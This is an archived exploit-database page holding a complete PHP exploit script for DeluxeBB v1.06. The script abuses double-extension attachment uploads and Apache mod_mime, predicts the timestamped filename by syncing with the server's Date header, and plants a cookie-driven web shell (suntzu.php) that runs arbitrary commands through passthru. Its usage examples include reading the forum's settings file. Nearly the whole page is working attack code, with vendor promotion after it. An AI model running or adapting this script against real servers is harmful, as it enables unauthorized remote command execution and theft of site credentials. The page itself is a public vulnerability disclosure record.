Lucene search
K

deluxebb.txt

🗓️ 22 May 2006 00:00:00Reported by rgodType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 31 Views

DeluxeBB v1.06 attachment mod_mime exploi

Code
`#!/usr/bin/php -q -d short_open_tag=on  
<?  
echo "DeluxeBB <= v1.06 attachment mod_mime exploit\r\n";  
echo "by rgod [email protected]\r\n";  
echo "site: http://retrogod.altervista.org\r\n";  
echo "tested & working against a fresh deluxebb installation\r\n\r\n";  
  
if ($argc<4) {  
echo "Usage: php ".$argv[0]." host path cmd OPTIONS\r\n";  
echo "host: target server (ip/hostname)\r\n";  
echo "path: path to deluxebb\r\n";  
echo "cmd: a shell command\r\n";  
echo "Options:\r\n";  
echo " -p[port]: specify a port other than 80\r\n";  
echo " -P[ip:port]: specify a proxy\r\n";  
echo "Examples:\r\n";  
echo "php ".$argv[0]." localhost /deluxebb/ cat ./../settings/info.php\r\n";  
echo "php ".$argv[0]." localhost /deluxebb/ ls -la -p81\r\n";  
echo "php ".$argv[0]." localhost / ls -la -P1.1.1.1:80\r\n\r\n";  
die;  
}  
  
/*explaination:  
  
you can upload attachments with double extensions, ex.:  
  
test.php.php.rar  
  
file is renamed like this:  
  
test.php.php-1147772503.ext  
  
and copied to the files/ folder, as you can see, new filename is predictable...,  
numbers are the result of time() php function, you have just to synchronize  
clocks through Apache "Date" header...  
  
It seems that Apache mod_mime module considers double-extension files like  
this to be valid PHP files and runs the arbitrary code that has been uploaded,  
actually on most versions you can do somethign like this:  
  
http://[target]/[path]/files/test.php.php-1147772503.ext?cmd=ls%20-la  
*/  
error_reporting(0);  
ini_set("max_execution_time",0);  
ini_set("default_socket_timeout",5);  
  
function quick_dump($string)  
{  
$result='';$exa='';$cont=0;  
for ($i=0; $i<=strlen($string)-1; $i++)  
{  
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))  
{$result.=" .";}  
else  
{$result.=" ".$string[$i];}  
if (strlen(dechex(ord($string[$i])))==2)  
{$exa.=" ".dechex(ord($string[$i]));}  
else  
{$exa.=" 0".dechex(ord($string[$i]));}  
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}  
}  
return $exa."\r\n".$result;  
}  
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';  
function sendpacketii($packet)  
{  
global $proxy, $host, $port, $html, $proxy_regex;  
if ($proxy=='') {  
$ock=fsockopen(gethostbyname($host),$port);  
if (!$ock) {  
echo 'No response from '.$host.':'.$port; die;  
}  
}  
else {  
$c = preg_match($proxy_regex,$proxy);  
if (!$c) {  
echo 'Not a valid proxy...';die;  
}  
$parts=explode(':',$proxy);  
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";  
$ock=fsockopen($parts[0],$parts[1]);  
if (!$ock) {  
echo 'No response from proxy...';die;  
}  
}  
fputs($ock,$packet);  
if ($proxy=='') {  
$html='';  
while (!feof($ock)) {  
$html.=fgets($ock);  
}  
}  
else {  
$html='';  
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {  
$html.=fread($ock,1);  
}  
}  
fclose($ock);  
#debug  
#echo "\r\n".$html;  
}  
  
function make_seed()  
{  
list($usec, $sec) = explode(' ', microtime());  
return (float) $sec + ((float) $usec * 100000);  
}  
  
function greenwich_timestamp($response)  
{  
$temp=explode("Date: ",$response);  
$temp2=explode("\r\n",$temp[1]);  
$is_now=$temp2[0];  
$temp=explode(" ",$is_now);$day=$temp[1];$month=$temp[2];$year=$temp[3];$temp2=explode(":",$temp[4]);  
$hour=$temp2[0];$min=$temp2[1];$sec=$temp2[2];  
$tb=array ('Jan', '1','Feb', '2','Mar', '3','Apr', '4','May', '5','Jun', '6',  
'Jul', '7','Aug', '8','Sep', '9','Oct', '10','Nov', '11','Dec', '12');  
for ($i=0;$i<=23;$i++) {if ($month==$tb[$i]) {$month=$tb[$i+1];break;}}  
return mktime($hour,$min,$sec,$month,$day,$year);  
}  
  
function gmtime() { // Get GM offset.  
return time() - (int) date('Z');  
}  
  
$host=$argv[1];  
$path=$argv[2];  
$cmd="";$port=80;$proxy="";  
for ($i=3; $i<=$argc-1; $i++){  
$temp=$argv[$i][0].$argv[$i][1];  
if (($temp<>"-p") and ($temp<>"-P"))  
{$cmd.=" ".$argv[$i];}  
if ($temp=="-p")  
{  
$port=str_replace("-p","",$argv[$i]);  
}  
if ($temp=="-P")  
{  
$proxy=str_replace("-P","",$argv[$i]);  
}  
}  
$cmd=urlencode($cmd);  
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}  
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}  
  
echo "step 0 -> Check if suntzu.php is already installed\r\n";  
$packet ="GET ".$p."files/suntzu.php HTTP/1.0\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Cookie: cmd=".$cmd.";\r\n";  
$packet.="Connection: Close\r\n\r\n";  
sendpacketii($packet);  
if (strstr($html,"56789"))  
{  
echo "Exploit succeeded...";  
$temp=explode("56789",$html);  
die("\r\n".$temp[1]."\r\n");  
}  
  
echo "step 0b -> Synchronize...\r\n";  
$difftime=0;  
//Unin epoch time by Apache "Date:" response header  
//it carries GMT time... sending HEAD request  
$packet ="HEAD / HTTP/1.1\r\nHost: ".$host."\r\nConnection: Close\r\n\r\n";  
sendpacketii($packet);  
if ((eregi("Date: ",$html)) and ($proxy==''))  
{  
$itstime=greenwich_timestamp($html);  
echo "target host Greenwich timestamp: ".$itstime."\r\n";  
$mytime=gmtime();  
echo "my greenwich timestamp: ".$mytime."\r\n";  
$difftime= $itstime-$mytime;  
echo "difftime: ".$difftime."\r\n";  
}  
else  
{  
echo "Unable to read \"Date\", assuming difftime = 0\r\n";  
}  
  
echo "step 1 -> Register...\r\n";  
srand(make_seed());  
$anumber = rand(1,99999);  
$data="name=suntzu".$anumber;  
$data.="&pass=suntzu";  
$data.="&pass2=suntzu";  
$data.="&email=suntzu".$anumber."%40fakemail.com";  
$data.="&hideemail=1";  
$data.="&languagex=English";  
$data.="&xthetimeoffset=2";  
$data.="&xthedateformat=d-m-Y";  
$data.="&xthetimeformat=24";  
$data.="&submit=Register";  
$packet ="POST ".$p."misc.php?sub=register HTTP/1.0\r\n";  
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";  
$packet.="User-Agent: Googlebot/2.1\r\n";  
$packet.="Content-Length: ".strlen($data)."\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Connection: Close\r\n\r\n";  
$packet.=$data;  
sendpacketii($packet);  
$temp=explode("Set-Cookie: ",$html);  
$cookie="";  
for ($i=1; $i<=count($temp)-1; $i++)  
{  
$temp2=explode(" ",$temp[$i]);  
$cookie.=" ".$temp2[0];  
}  
if ($cookie=='') {  
die("Unable to register...");  
}  
else {  
echo "cookie -> ".$cookie."\r\n";  
}  
  
echo "step 2 -> Post a new thread with the evil attachment...\r\n";  
  
$attachment='  
<?php  
$fp=fopen("suntzu.php","w");  
fputs($fp,"<?php error_reporting(0);set_time_limit(0);if (get_magic_quotes_gpc()) {\$_COOKIE[cmd]=stripslashes(\$_COOKIE[cmd]);}echo 56789;passthru(\$_COOKIE[cmd]);echo 56789;?>");  
fclose($fp);  
chmod("suntzu.php",777);  
?>';  
  
$data='-----------------------------7d6ee3a7074a  
Content-Disposition: form-data; name="subject"  
  
Sun-Tzu, Art of War  
-----------------------------7d6ee3a7074a  
Content-Disposition: form-data; name="posticon"  
  
None  
-----------------------------7d6ee3a7074a  
Content-Disposition: form-data; name="disablesmilies"  
  
1  
-----------------------------7d6ee3a7074a  
Content-Disposition: form-data; name="fileupload"; filename="suntzu'.$anumber.'.php.php.rar"  
Content-Type: application/octet-stream  
  
'.$attachment.'  
-----------------------------7d6ee3a7074a  
Content-Disposition: form-data; name="MAX_FILE_SIZE"  
  
1048576  
-----------------------------7d6ee3a7074a  
Content-Disposition: form-data; name="what"  
  
ciao  
-----------------------------7d6ee3a7074a  
Content-Disposition: form-data; name="submit"  
  
Post  
-----------------------------7d6ee3a7074a--  
';  
  
$packet ="POST ".$p."newpost.php?sub=newthread&fid=1 HTTP/1.0\r\n";  
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d6ee3a7074a\r\n";  
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Content-Length: ".strlen($data)."\r\n";  
$packet.="Cookie: ".$cookie."\r\n";  
$packet.="Connection: Close\r\n\r\n";  
$packet.=$data;  
$mytime=time() + $difftime;  
sendpacketii($packet);  
sleep(2);  
  
/*  
file is renamed in this way:  
  
...  
$time = time(); //header.php, line 78  
...  
  
...  
$saveit = $settings['attachdir'] . $filename . '-' . $time . '.' . 'ext'; //newpost.php, line 218-219  
copy($fileupload['tmp_name'], $saveit);  
... */  
  
$predict_time=  
array (  
$mytime,  
$mytime + 1,  
$mytime + 2,  
$mytime + 3,  
$mytime + 4,  
$mytime + 5,  
$mytime + 6  
);  
  
for ($i=0; $i<=count($predict_time)-1; $i++)  
{  
$a=3+$i;  
echo "step ".$a." -> trying with suntzu".$anumber.".php.php-".$predict_time[$i].".ext\r\n";  
$packet ="GET ".$p."files/suntzu".$anumber.".php.php-".$predict_time[$i].".ext HTTP/1.0\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Connection: Close\r\n\r\n";  
sendpacketii($packet);  
  
$packet ="GET ".$p."files/suntzu.php HTTP/1.0\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Cookie: cmd=".$cmd.";\r\n";  
$packet.="Connection: Close\r\n\r\n";  
sendpacketii($packet);  
if (strstr($html,"56789"))  
{  
echo "Exploit succeeded...";  
$temp=explode("56789",$html);  
die("\r\n".$temp[1]."\r\n");  
}  
}  
//if you are here...  
echo "Exploit failed...";  
?>  
  
  
original url: http://retrogod.altervista.org/deluxebb_106_xpl.html  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

22 May 2006 00:00Current
7.4High risk
Vulners AI Score7.4
31